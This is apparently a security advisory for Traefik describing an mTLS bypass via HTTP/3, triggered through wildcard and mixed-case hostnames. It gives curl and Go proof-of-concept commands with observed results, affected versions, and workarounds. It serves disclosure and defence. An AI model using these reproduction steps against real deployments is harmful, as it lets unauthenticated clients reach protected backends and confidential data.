Details
PoC
Wildcard bypass:
- Start Traefik with the wildcard dynamic configuration above.
- Control over TCP/TLS:
curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
TLS alert ... certificate required
- HTTP/3 bypass:
curl --noproxy '*' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
HTTP/3 200
Name: PROTECTED
Host: api.example.com:8443
Exact-host mixed-case bypass:
- Start Traefik with the exact-host dynamic configuration above.
- Control over TCP/TLS:
curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
TLS alert ... certificate required
- Mixed-case HTTP/2 control:
curl --noproxy '*' --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/
Observed result:
TLS alert ... certificate required
This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with certificate required.
- HTTP/3 bypass with the same mixed-case hostname:
TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM go run ./h3-case-client.go
Observed result:
HTTP/3.0 200
Name: PROTECTED
Host: API.EXAMPLE.COM
Local regression tests used during validation:
go test ./pkg/server/router/tcp -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$' -count=1
These tests were added locally during analysis to demonstrate the current behavior of GetTLSGetClientInfo(). They are not required to reproduce the issue; the Docker and curl/HTTP3 commands above are the end-to-end reproduction.
Version matrix observed with Docker images:
wildcard H3 bypass: affected on v3.7.0 and v3.7.1
exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1
The wildcard case was tested on v3.7.x because wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7.0.
Impact
Deployments that use router TLSOptions as an access-control boundary for HTTP/3 can expose protected backends without client authentication.
The highest-impact case is mTLS:
- normal HTTP/2/TCP access to the protected host requires a client certificate
- HTTP/3 access to the same route falls back to the default TLS config
- the request is then routed to the protected backend without satisfying the route's mTLS policy
This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.
Possible workarounds until a fix is available:
- Disable HTTP/3 on entrypoints that rely on router-specific mTLS.
- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.
- Block UDP access to the HTTP/3 entrypoint.
- Enforce client authentication at an additional layer behind Traefik.
</details>